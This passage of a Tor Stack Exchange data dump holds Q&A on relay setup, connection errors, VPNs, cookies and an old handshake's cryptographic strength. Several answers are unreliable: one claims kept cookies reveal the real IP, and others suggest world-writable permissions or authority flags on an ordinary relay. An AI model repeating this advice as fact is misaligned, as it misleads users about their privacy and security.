LastEditDate="2019-02-21T22:34:26.877" LastActivityDate="2020-11-14T00:07:35.740" Title="The first time it connected just fine but now this happens" Tags="|connection|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19421" PostTypeId="1" AcceptedAnswerId="22547" CreationDate="2019-02-14T14:10:38.613" Score="3" ViewCount="458" Body="&lt;p&gt;This seems to started after I specified an IPv6 address for my ORPort. &#xA;Everything server side indicates my DirPort is reachable, but Tor Metrics (not tor on my server) says it is unreachable (although I am reachable by IPv6 and IPv4 on my ORPort, according to the site). At the same time I set my IPv6, I did also limit my AccountingMax to 20TB out, renewing every month&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor logs indicate that testing proved my DirPort reachable.&#xA;I am running Tor 0.3.5.7 on Ubuntu 18.04.2 server x86_64. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: I upgraded to Ubuntu 18.10 and Tor 0.3.5.8, and the issue persists&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SOLVED&lt;/strong&gt; For some reason, if I don't set AuthoritativeDirectory to 1, along with bridge authority, it doesn't seem to publish me as a directory relay. Originally, I thought it might be a ports issue, but I run an Apache webserver off of ports 80&amp;amp;443 and have no issue&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now my question is: why is this happening? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything indicated I set it up correctly.&#xA;Is there any way to see if my dirport is being used?&lt;/p&gt;&#xA;" OwnerUserId="25283" LastEditorUserId="25283" LastEditDate="2019-03-09T04:24:50.243" LastActivityDate="2021-07-26T12:03:33.000" Title="I have specified a DirPort (80) in my torrc, and it is allowed in UFW but metrics.torproject.org/rs.html does not list it" Tags="|configuration|relays|linux|ubuntu|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19424" PostTypeId="1" CreationDate="2019-02-14T22:05:27.860" Score="1" ViewCount="7040" Body="&lt;p&gt;Tor worked just fine for years then it now gives this message:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Tor browser does not have permission to access the profile.&#xA;Please adjust your file system permissions and try again.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="25289" LastEditorUserId="88" LastEditDate="2020-08-18T18:45:24.780" LastActivityDate="2020-08-18T18:45:24.780" Title="TOR won't load because no permission" Tags="|connection|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19425" PostTypeId="1" CreationDate="2019-02-15T02:28:50.980" Score="1" ViewCount="287" Body="&lt;p&gt;I have been banned from a site, yet when I attempt to connect using Tor behind AVG VPN and keep changing the location the site still recognises my machine/network.&#xA;How can this be possible? &lt;/p&gt;&#xA;" OwnerUserId="16620" LastActivityDate="2019-02-15T21:30:30.950" Title="Anonymity behind VPN/TOR" Tags="|vpn|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19426" PostTypeId="1" CreationDate="2019-02-15T03:22:57.047" Score="0" ViewCount="132" Body="&lt;pre&gt;&lt;code&gt;2/14/19, 22:05:08.706 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/14/19, 22:05:08.706 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/14/19, 22:05:08.706 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/14/19, 22:05:08.707 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;2/14/19, 22:05:08.707 [NOTICE] Opened Socks listener on 127.0.0.1:9150 &#xA;2/14/19, 22:05:08.707 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;2/14/19, 22:05:10.800 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;2/14/19, 22:05:11.900 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection &#xA;2/14/19, 22:05:11.360 [NOTICE] Bootstrapped 20%: Asking for networkstatus consensus &#xA;2/14/19, 22:05:11.671 [NOTICE] Bootstrapped 25%: Loading networkstatus consensus &#xA;2/14/19, 22:05:15.600 [WARN] Received NETINFO cell with skewed time (OR:154.35.175.225:443): It seems that our clock is behind by 5 hours, 5 minutes, or that theirs is ahead. Tor requires an accurate clock to work: please check your time, timezone, and date settings. &#xA;2/14/19, 22:05:15.601 [WARN] Problem bootstrapping. Stuck at 25%: Loading networkstatus consensus. (Clock skew -18359 in NETINFO cell from OR; CLOCK_SKEW; count 2; recommendation warn; host CF6D0AAFB385BE71B8E111FC5CFF4B47923733BC at 154.35.175.225:443) &#xA;2/14/19, 22:05:15.657 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;2/14/19, 22:05:15.658 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25291" LastEditorUserId="5234" LastEditDate="2019-02-21T22:34:03.567" LastActivityDate="2019-03-24T05:01:24.123" Title="i cant open tor. im from argentina and this is the error" Tags="|configuration|connection|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19427" PostTypeId="1" CreationDate="2019-02-15T13:41:53.940" Score="1" ViewCount="803" Body="&lt;p&gt;Is it possible for me to set a timer for the Tor Browser window to close automatically if no activity is detected. Or could Tor Browser be set to do this automaticlly when I visit banking websites or other potentially sensitive pages?&lt;/p&gt;&#xA;" OwnerUserId="25295" LastEditorUserId="17825" LastEditDate="2019-02-21T22:34:13.657" LastActivityDate="2022-04-07T21:07:50.640" Title="Auto web page shut down" Tags="|tor-browser-bundle|configuration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19428" PostTypeId="1" CreationDate="2019-02-15T17:16:38.453" Score="1" ViewCount="24" Body="&lt;p&gt;On any chromium based browser the exit notice on my DirPort gets &quot;err_failed_content_decoding&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Firefox, it works fine&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My relay runs Tor 0.3.5.8 on Ubuntu 18.10&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: On the update to 0.3.5.8 from 0.3.5.7, there is now an SSL error on chrome (err_ssl_protocol_error). Still no issue on Firefox, just chrome. For some reason, chrome is enforce https&lt;/p&gt;&#xA;" OwnerUserId="25283" LastEditorUserId="25283" LastEditDate="2019-02-23T15:49:11.270" LastActivityDate="2019-02-23T15:49:11.270" Title="Exit notice page fails decoding" Tags="|relays|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="19429" PostTypeId="2" ParentId="19426" CreationDate="2019-02-15T17:18:31.797" Score="0" Body="&lt;p&gt;Make sure you have ntp installed and set up correctly&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other, you may need a bridge if your network is censored or blocks Tor&lt;/p&gt;&#xA;" OwnerUserId="25283" LastActivityDate="2019-02-15T17:18:31.797" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19430" PostTypeId="2" ParentId="19424" CreationDate="2019-02-15T17:22:35.050" Score="1" Body="&lt;p&gt;Ok. Had the same problem once. The issue is an user called &quot;debian-tor&quot; on Linux should own /var/lib/Tor and /etc/tor&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to use chown as sudo&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo chown -R debian-tor /var/lib/tor&#xA;sudo chown -R debian-tor /etc/tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On windows, I believe the best solution is to check the permission of the folder Tor is in - allow all for everybody&lt;/p&gt;&#xA;" OwnerUserId="25283" LastEditorUserId="25283" LastEditDate="2019-02-15T18:57:05.520" LastActivityDate="2019-02-15T18:57:05.520" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19431" PostTypeId="2" ParentId="19425" CreationDate="2019-02-15T17:24:54.703" Score="3" Body="&lt;p&gt;I'd recommend just using Tor. The VPN is probably being recognized, not you. If needed, use bridges. The VPN destroy Tor purpose&lt;/p&gt;&#xA;" OwnerUserId="25283" LastActivityDate="2019-02-15T17:24:54.703" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19434" PostTypeId="2" ParentId="19425" CreationDate="2019-02-15T21:30:30.950" Score="1" Body="&lt;p&gt;I once used AVG for years for my computer protection, but not any longer; now I do not trust them. Their system could not isolate a ‘Trojan’ malicious software and their ‘customer support’ would not or could not help; they failed miserable. However ESET found and curred the problem. In addition, AVG falls within the “14 Eyes” (do YouTube search: “The VPN 14 Eyes Explained” - by Techlore); this is an issue in itself. A good VPN service should have different IP addresses depending what city/server you want to exit from; normally you would be safe to surf, unless something malicious has been placed in your computer. If you are using Tor outside of Tails, this is likely your problem-certainly Tails/Tor would be the solution, if the website allowed an ‘Anonymous’ visitor. You see, ‘Tails’ deletes any software, program, cookies – anything! (even malicious) that a website can install to identify you. Just so you know, ‘Tails’ is an operating itself (with Tor), having some basic pre-installed software like LibreOffice and others. If you can write/create anything, download anything, or import files and even save them to specific folder, but once you shut off your machine, they are wiped away—no traces of them. What ever work one does in ‘Tails”, needs to be transferred to a thumb-drive before the computer is shut down. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that said, I trust NordVPN; they are in Panama and do not fall within the “5, 7 or 14 Eyes” and is Linux compatible also having Tor configured in conjunction with their VPN as an option.&lt;/p&gt;&#xA;" OwnerUserId="23666" LastActivityDate="2019-02-15T21:30:30.950" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19435" PostTypeId="2" ParentId="19426" CreationDate="2019-02-16T09:56:47.713" Score="1" Body="&lt;p&gt;the messages are there for a reason... please read it and act accordingly:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Received NETINFO cell with skewed time (OR:154.35.175.225:443): It seems that our clock is behind by 5 hours, 5 minutes, or that theirs is ahead. Tor requires an accurate clock to work: please check your time, timezone, and date settings.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;it seems that your clock is out of sync... please try to connect again (to rule out if it was a server issue), if you get the same error message again set the correct time on your machine. - IIRC your hardware clock should be in UTC!&lt;/p&gt;&#xA;" OwnerUserId="5234" LastActivityDate="2019-02-16T09:56:47.713" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19436" PostTypeId="1" AcceptedAnswerId="19850" CreationDate="2019-02-17T12:06:39.310" Score="6" ViewCount="274" Body="&lt;p&gt;Assume an attacker with a record of Tor traffic between a client and guard has precomputed the 1024-bit Oakley group for Diffie-Hellman used in the TAP protocol. This would allow them to rapidly decrypt any recorded DH key exchange done over that group after an expensive but feasible (millions of dollars of equipment and a year of time) one-time computation. &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/tor-spec.txt#n88&quot; rel=&quot;nofollow noreferrer&quot;&gt;If I recall&lt;/a&gt;, the legacy TAP protocol used 1024-bit DH. Combined with the suspicion that the &quot;breakthrough cryptanalytic capabilities&quot; mentioned in the Snowden leaks refer to precomputation attacks against 1024-bit Diffie-Hellman parameters as pointed out in &lt;a href=&quot;https://weakdh.org/imperfect-forward-secrecy-ccs15.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;the WeakDH paper&lt;/a&gt;, would an adversary with these capabilities be able to decrypt old Tor traffic?&lt;/p&gt;&#xA;" OwnerUserId="21937" LastEditorUserId="21937" LastEditDate="2019-02-23T06:47:52.363" LastActivityDate="2019-05-13T01:39:04.900" Title="Is Tor traffic using the TAP handshake vulnerable to retroactive decryption?" Tags="|attacks|protocol|encryption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19438" PostTypeId="2" ParentId="18069" CreationDate="2019-02-18T01:41:32.890" Score="2" Body="&lt;p&gt;Due to regression introduced in OpenSSL 1.1.1a. Openssl says fix in next openssl release:&#xA;&lt;a href=&quot;https://github.com/openssl/openssl/issues/7712&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/openssl/openssl/issues/7712&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Until then, workaround for coping with OpenSSL 1.1.1a added to Tor:&#xA;&lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/28616&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://trac.torproject.org/projects/tor/ticket/28616&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can confirm that Tor 0.3.5.7 no longer issues these errors.&#xA;Look for this in the Tor log:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[warn] Detected OpenSSL bug 7712: disabling TLS 1.3 on future connections. A fix is expected to appear in OpenSSL 1.1.1b.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25315" LastActivityDate="2019-02-18T01:41:32.890" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19440" PostTypeId="2" ParentId="13168" CreationDate="2019-02-18T07:04:56.403" Score="1" Body="&lt;p&gt;Yes, it is possible. You have to disable &quot;Always use private browsing mode&quot; from &lt;code&gt;Options-&amp;gt;privacy &amp;amp; Security&lt;/code&gt; or simply this link: &lt;code&gt;about:preferences#privacy&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then It'll be just like a normal browser with some privacy settings. For example, in the same page you have to change &quot;Keep until&quot; to &quot;they expire&quot;, etc.&lt;/p&gt;&#xA;" OwnerUserId="25317" LastActivityDate="2019-02-18T07:04:56.403" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19441" PostTypeId="2" ParentId="16714" CreationDate="2019-02-18T07:08:13.810" Score="1" Body="&lt;p&gt;This is ticket for problem. It is caused by diff cache, there is also workaround.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/24857&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://trac.torproject.org/projects/tor/ticket/24857&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22654" LastActivityDate="2019-02-18T07:08:13.810" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19442" PostTypeId="2" ParentId="13168" CreationDate="2019-02-18T07:27:03.913" Score="3" Body="&lt;p&gt;While it is possible to keep cookies, it is not recommended because it can make your privacy void.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you keep cookies out of the Tor Browser's sandbox, you are letting these cookies send your real IP address to the website and therefore you can be tracked pretty easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can result in ad targeting, for example keep showing you ads for your research, or if you go into deep / dark web, you can get into prison easily just because they found your real IP.&lt;/p&gt;&#xA;" OwnerUserId="25319" LastActivityDate="2019-02-18T07:27:03.913" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19443" PostTypeId="2" ParentId="13168" CreationDate="2019-02-18T14:16:11.147" Score="1" Body="&lt;p&gt;This is possible. It's the same as Firefox settings, since Tor browser is based on Firefox ESR.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;It is, however, highly &lt;em&gt;not&lt;/em&gt; recommended.&lt;/strong&gt; That would create &lt;em&gt;serious&lt;/em&gt; privacy issues, and probably circumvent Tor privacy entirely. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If cookies are that big of a concern to you, I'd recommend using those sites in another browser than Tor. Tor's entire purpose is untraceable and privacy. Cookies are, well, traces of what you've done. &lt;/p&gt;&#xA;" OwnerUserId="25283" LastActivityDate="2019-02-18T14:16:11.147" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19444" PostTypeId="2" ParentId="16714" CreationDate="2019-02-18T14:22:39.543" Score="1" Body="&lt;p&gt;Personally, I don't recommend running a relay on Windows. It is well known to have many issues, and extremely buggy. Most relays run on Linux systems because they tend to be more reliable, and Windows systems tend to be more vulnerable because malware is engineered for the OS&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, I don't believe there is much if any official documentation for Windows. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you insist on running on Windows, you will run into many bugs and performance issues. I personally run a relay on ubuntu server, and only see roughly 29% usage of CPU (dual core, 2.1 GHz) and ~400MB&#xA; RAM&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One other possibility is your CPU just can't handle the load. Though, any modern CPU of 2GHz plus should do&lt;/p&gt;&#xA;" OwnerUserId="25283" LastActivityDate="2019-02-18T14:22:39.543" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19445" PostTypeId="2" ParentId="19412" CreationDate="2019-02-18T14:32:47.810" Score="1" Body="&lt;p&gt;&lt;strong&gt;DO NOT USE A VPN WITH TOR&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has been documented to be a &lt;em&gt;very&lt;/em&gt; bad idea. The VPN will track &lt;em&gt;everything&lt;/em&gt; you do, and destroy your anonymity. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just connect directly to Tor, and if needed to access Tor, use bridges&lt;/p&gt;&#xA;" OwnerUserId="25283" LastActivityDate="2019-02-18T14:32:47.810" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19446" PostTypeId="2" ParentId="19402" CreationDate="2019-02-18T14:35:42.693" Score="1" Body="&lt;p&gt;I would not recommend this. Use a separate Firefox if you really want to do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, sync runs on your local machine, thereby exposing your real identity&lt;/p&gt;&#xA;" OwnerUserId="25283" LastActivityDate="2019-02-18T14:35:42.693" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19447" PostTypeId="2" ParentId="19356" CreationDate="2019-02-18T14:40:20.400" Score="1" Body="&lt;p&gt;&lt;strong&gt;NEVER&lt;/strong&gt; use any sort of torrent within Tor. It is even in the documentation. (See &lt;a href=&quot;https://blog.torproject.org/bittorrent-over-tor-isnt-good-idea&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; even though it says BitTorrent,it applies to all torrent)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, WebRTC is just plain a privacy risk&lt;/p&gt;&#xA;" OwnerUserId="25283" LastActivityDate="2019-02-18T14:40:20.400" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19448" PostTypeId="2" ParentId="19285" CreationDate="2019-02-18T14:43:18.650" Score="0" Body="&lt;p&gt;You must respect your ISP policy on Tor usage, or risk getting banned. A lot of ISPs do not permit Tor relays, and some Tor usage is banned. If they detect traffic such as Tor that is forbidden in their policy,you &lt;em&gt;will&lt;/em&gt; get banned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you must use Tor, consider using bridges instead. They are significantly harder to detect&lt;/p&gt;&#xA;" OwnerUserId="25283" LastActivityDate="2019-02-18T14:43:18.650" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19449" PostTypeId="2" ParentId="19418" CreationDate="2019-02-18T14:45:51.063" Score="1" Body="&lt;p&gt;It looks like the Tor service you are trying to connect to is down. You should try later, or contact the server operator&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you should try restarting Tor browser: it may be a bad circuit&lt;/p&gt;&#xA;" OwnerUserId="25283" LastActivityDate="2019-02-18T14:45:51.063" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19451" PostTypeId="2" ParentId="9190" CreationDate="2019-02-18T14:58:34.637" Score="0" Body="&lt;p&gt;As long as your ip rotates less often than every 3 hours, you can be of some use. That's about how often the consensus is updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;However&lt;/strong&gt;, generally speaking, you should probably set up a static IP. If you keep switching ips, you will become unreachable a lot, and never get the &quot;stable&quot; flag and potentially gain the &quot;not recommended&quot; flag&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If needed, consider running a bridge. A dynamic ip would be &lt;em&gt;less&lt;/em&gt; harmful there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally, I recommend running a VPS or dedicated server in a data center with a dedicated ip - most hosting provider offer one or more for free with a plan. Running a relay on a personal network is usually not recommended, as a lot if ISPs limit Tor relays and it isn't as anonymous&lt;/p&gt;&#xA;" OwnerUserId="25283" LastEditorUserId="25283" LastEditDate="2019-02-18T15:25:24.607" LastActivityDate="2019-02-18T15:25:24.607" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19452" PostTypeId="1" AcceptedAnswerId="19481" CreationDate="2019-02-18T15:09:03.547" Score="0" ViewCount="762" Body="&lt;p&gt;I found the Authoritative directory, v3 Authoritative directory, and bridge Authoritative dir options in nyx. My question is would this be helpful to run an directory authority, and how to do so&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if I set the v3 option, Tor won't start. The other ones set fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been running a relay for some time now with a DirPort(80) and ORPort(443)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Tor 0.3.5.7 on Ubuntu server 18.04.2, and Tor is set up to be server only (no client services enabled)&lt;/p&gt;&#xA;" OwnerUserId="25283" LastActivityDate="2019-02-23T14:38:18.583" Title="Running Authoritative directory" Tags="|configuration|relays|directory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19454" PostTypeId="2" ParentId="19321" CreationDate="2019-02-18T15:19:29.923" Score="1" Body="&lt;p&gt;Try getting a new circuit. The one you were on may be bad. Try restarting Tor browser to clean out your circuits&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you &lt;strong&gt;will&lt;/strong&gt; see slower speeds because of the way the Tor network works:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, you are routed through three 'relays': a guard (first hop), a middle relay, and an 'exit'(last hop). That itself will slow the connection down. On top of that, your traffic is encrypted multiple times, and each relay has to decrypt some to find out the next relay. That takes time, and if you're unfortunate enough to get a slow relay, it's even worse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Privacy has a price, and sometimes it is speed of the web&lt;/p&gt;&#xA;" OwnerUserId="25283" LastActivityDate="2019-02-18T15:19:29.923" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19455" PostTypeId="1" CreationDate="2019-02-19T11:47:27.630" Score="0" ViewCount="34" Body="&lt;p&gt;I am a US citizen who will be overseas for an extended period of time. From what I've read, it seems that US Social Security website will not allow users to access their Social Security information from an overseas IP address. This can be frustrating! Can Tor Browser help with this problem? Thank-you!&#xA;DB~&lt;/p&gt;&#xA;" OwnerUserId="25323" LastActivityDate="2019-02-20T14:49:51.633" Title="Accessing US Social Security from Overseas" Tags="|location|" AnswerCount="1" CommentCount="0" ClosedDate="2019-02-21T22:30:58.147" ContentLicense="CC BY-SA 4.0" />
  <row Id="19456" PostTypeId="2" ParentId="1891" CreationDate="2019-02-19T20:03:39.707" Score="2" Body="&lt;p&gt;The above method does not work anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to set to never allow for all sites, you need to go into &lt;code&gt;about:config&lt;/code&gt; and look for &lt;code&gt;privacy.resistFingerprinting.autoDeclineNoUserInputCanvasPrompts&lt;/code&gt; and set it to true&lt;/p&gt;&#xA;" OwnerUserId="25325" LastActivityDate="2019-02-19T20:03:39.707" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19457" PostTypeId="1" CreationDate="2019-02-20T06:54:53.543" Score="0" ViewCount="151" Body="&lt;p&gt;This is the content of &lt;code&gt;torrc&lt;/code&gt; file configuration:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SocksPort 0&#xA;RunAsDaemon 1&#xA;ORPort 9001&#xA;ORPort [2409:4070:219c:d7f8:94cf:ac05:ee3b:b21c]:9001&#xA;ContactInfo itstrulyjenni(at)gmail(dot)com &#xA;#DirPort 9050&#xA;IPv6Exit 0&#xA;ExitPolicy reject *:* # no exits allowed&#xA;ExitPolicy reject6 *:*&#xA;DisableDebuggerAttachment 0&#xA;ControlPort 9051&#xA;CookieAuthentication 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;We are trying to start tor with both IPv4 and IPv6. Service is able to start. But after a few seconds I get the following error message related with ORPort/DirPort:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Your server (xx.xx.xx.xx:9001) has not managed to confirm that its ORPort is reachable. Relays do not publish descriptors until their ORPort and DirPort are reachable. Please check your firewalls, ports, address, /etc/hosts file, etc.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;What can be issue here? Iptables are set in Accept policy.&lt;/p&gt;&#xA;" OwnerUserId="25326" LastEditorUserId="20534" LastEditDate="2021-07-12T14:56:57.763" LastActivityDate="2022-04-08T19:04:20.297" Title="Setting up relay on Ubuntu 16.04" Tags="|configuration|onion-services|onion-routing|ubuntu|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19460" PostTypeId="2" ParentId="19457" CreationDate="2019-02-20T14:44:28.737" Score="0" Body="&lt;p&gt;If you correctly opened needed Tor ports on your machine, that doesn't mean that your port is availible outside if you using a router or any device that makes you behind the &lt;a href=&quot;https://ru.wikipedia.org/wiki/NAT&quot; rel=&quot;nofollow noreferrer&quot;&gt;NAT&lt;/a&gt;.&lt;br&gt;&#xA;Make sure you have opened them on your router and then &lt;a href=&quot;https://portchecker.co/&quot; rel=&quot;nofollow noreferrer&quot;&gt;check if that port is opened or not&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17825" LastActivityDate="2019-02-20T14:44:28.737" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19461" PostTypeId="2" ParentId="19455" CreationDate="2019-02-20T14:49:51.633" Score="0" Body="&lt;p&gt;Edit your torrc file inside your Tor Browser Bundle directory. Add the following line to your torrc file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExitNodes {us}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also if you are not using Tor Browser Bundle and you are on linux, install if not already &lt;code&gt;tor-geoipdb&lt;/code&gt; apt package.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt install tor-geoipdb&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17825" LastActivityDate="2019-02-20T14:49:51.633" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19462" PostTypeId="2" ParentId="9869" CreationDate="2019-02-20T14:52:18.830" Score="0" Body="&lt;p&gt;There is already a updated version of Orfox called &lt;a href=&quot;https://play.google.com/store/apps/details?id=org.torproject.torbrowser_alpha&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Browser for Android (Alpha)&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="17825" LastActivityDate="2019-02-20T14:52:18.830" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19464" PostTypeId="2" ParentId="19416" CreationDate="2019-02-20T15:18:25.053" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://www.systemlookup.com/FF_Extensions/21-73a6fe31_595d_460b_a920_fcc0f8843232_xpi.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;73a6fe31-595d-460b-a920-fcc0f8843232.xpi&lt;/code&gt; is the NoScript addon&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="17825" LastActivityDate="2019-02-20T15:18:25.053" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19465" PostTypeId="2" ParentId="9869" CreationDate="2019-02-20T16:46:28.137" Score="1" Body="&lt;p&gt;Orfox has stopped long ago and therefore it is not secure to access the deep or dark web with that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, when you want complete anonymity and untraceability better use a computer running live operating system like &lt;strong&gt;TAILS&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor Browser for Android (Alpha/Beta/Stable) is for some basic anonymity but you can be traced easily since your phone is running services that you might not want to be sending your IP through the internet while being in the depths of the web.&#xA;Needless to say that you cannot &quot;kill&quot; these services or your phone will reboot the moment it understands that those were killed. (Thank Google for that)&lt;/p&gt;&#xA;" OwnerUserId="25319" LastActivityDate="2019-02-20T16:46:28.137" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19466" PostTypeId="2" ParentId="14165" CreationDate="2019-02-20T16:54:41.497" Score="1" Body="&lt;p&gt;Because tor-exit-nodes are popular by many websites on the web, (as mentioned before) they are blacklisted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This happened because there are so little volunteers to become the exit nodes that it is a miracle that someone can access the internet without getting blocked (and I mean clear web / clearnet).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A possible solution to your problem with location would be to get a good VPN service with many servers and locations so that you can access SoundCloud without getting blocked by it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!!&lt;/p&gt;&#xA;" OwnerUserId="25319" LastActivityDate="2019-02-20T16:54:41.497" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
